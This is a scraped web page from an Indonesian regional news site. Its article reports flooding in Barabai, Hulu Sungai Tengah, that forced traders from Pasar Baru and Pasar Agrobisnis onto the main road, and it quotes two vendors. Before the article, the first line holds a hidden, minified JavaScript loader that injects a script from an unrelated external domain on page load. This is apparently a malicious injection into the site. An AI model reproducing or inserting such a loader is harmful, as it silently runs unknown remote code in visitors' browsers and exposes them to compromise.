(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Hulu Sungai Tengah

Dipaksa Banjir, Pedagang Pasar Agrobisnis Barabai Gelar Lapak di Jalan Raya


KANALKALIMANTAN.COM, BARABAI – Pemandangan tak biasa terjadi di sepanjang Jalan A Yani depan Terminal Pasar Baru dan Jalan Bay Pass di ibu kota Kabupaten Hulu Sungai Tengah.

Bagaimana tidak pedagang yang harusnya berjualan di lingkungan Pasar Baru dan Pasar Agrobisnis Barabai ‘ditendang’ keluar oleh air, sehingga mereka harus menggelar dagangan di sepanjang jalan A Yani depan Pasar Baru.

Banjir mengharuskan mereka mengumpulkan rupiah dengan berjualan di luar tempat biasanya.

Setidaknya kurang lebih 300 meter para pedagang menggelar lapak dagangan mereka di jalan raya, baik pedagang sayur mayur, ikan, serta kebutuhan pokok lainnya.

 

Baca juga : Polres Balangan Musnahkan 55 Ribu Butir Karisoprodol

Arief, salah satu pedagang di Pasar Agrobisnis Barabai mengaku, hal ini dilakukan mereka untuk menghindari dari barang dagangan membusuk dan tetap layak dijual.

“Di dalam pasar sudah tidak bisa dipakai untuk berjualan lagi, semua tempat dipenuhi dengan air,” ujar Arief kepada Kanalkalimantan.com, Rabu (1/12/2021).

Walau di Pasar Agrobisnis terbilang tinggi dan bisa berjualan, tetapi jalan menuju ke tempat itu dikelilingi air, sehingga membuat para pedagang lebih memilih berjualan di luar.

Hal berbeda dikatakan oleh salah satu pedagang pakaian di Pasar Murakata, Amat yang harus menelan kekecewaan setelah semua barang dagangan terendam banjir.

 

Baca juga : Camat Pulau Petak Lantik 10 Penjabat Kades

“Kemarin sampai sepaha, barang dagangan tidak bisa diselamatkan. Sehingga harus dibawa pulang semua untuk dicuci,” katanya.

Diterangkan Amat, di Pasar Murakata ketinggian air di ruas jalan sepinggang orang dewasa, sedangkan di los dagangan mencapai sepaha.

Mereka senada meminta kepada pemerintah untuk lebih memperhatikan dampak banjir di Kota Barabai, jika terus dibiarkan tanpa ada solusi mengenai banjir maka hal yang sama akan terus terjadi.

Sementara itu, petugas Dinas Perhubungan HST, sibuk dengan rekayasa lalu lintas di sepanjang jalan yang digunakan pedagang berjualan.(kanalkalimantan.com/ibnu)

Reporter : ibnu
Editor : bie


Desy Arfianty

Recent Posts

Ribuan Peserta Ramaikan Festival Budaya Tinggang Menteng Panunjung Tarung

KANALKALIMANTAN. COM, KUALA KAPUAS - Ribuan orang memeriahkan Festival Budaya Tinggang Menteng Panunjung Tarung dalam… Read More

14 jam ago

Angkat Menu Hulu Sungai, Cafe and Eatery “Warung Pagat” Sajikan Mandai, Tarap hingga Pakasam

KANALKALIMANTAN.COM, BANJARBARU - Bisnis F&B atau Food and Beverage kian berkembang di Ibu Kota Provinsi… Read More

18 jam ago

Pemkab Kapuas Gelar Forum Konsultasi Publik RPJMD 2025–2029

KANALKALIMANTAN.COM, KUALA KAPUAS - Pemerintah Kabupaten (Pemkab) Kapuas menggelar forum konsultasi publik terkait rencana awal… Read More

1 hari ago

Puncak Hari Jadi ke-26 Kota Banjarbaru Dihadiri Wali Kota 2000-2005 Rudy Resnawan

Pj Wali Kota : Sangat Beruntung Kota Banjarbaru Mempunyai Pendahulu yang Visioner dan Inovatif Read More

2 hari ago

Widya Dewi, Penyuluh Pertanian Asal HSU Raih Penghargaan dari Mentan RI

KANALKALIMANTAN.COM, JAKARTA - Widya Dewi, penyuluh pertanian asal Kabupaten Hulu Sungai Utara (HSU) Kalimantan Selatan… Read More

2 hari ago

Ribuan Orang Hadiri Haul KH Ahmad Hudhori di Martapura Timur

KANALKALIMANTAN.COM, MARTAPURA - Wakil Bupati Banjar Habib Idrus Al Habsyi beserta alim ulama, habaib dan… Read More

2 hari ago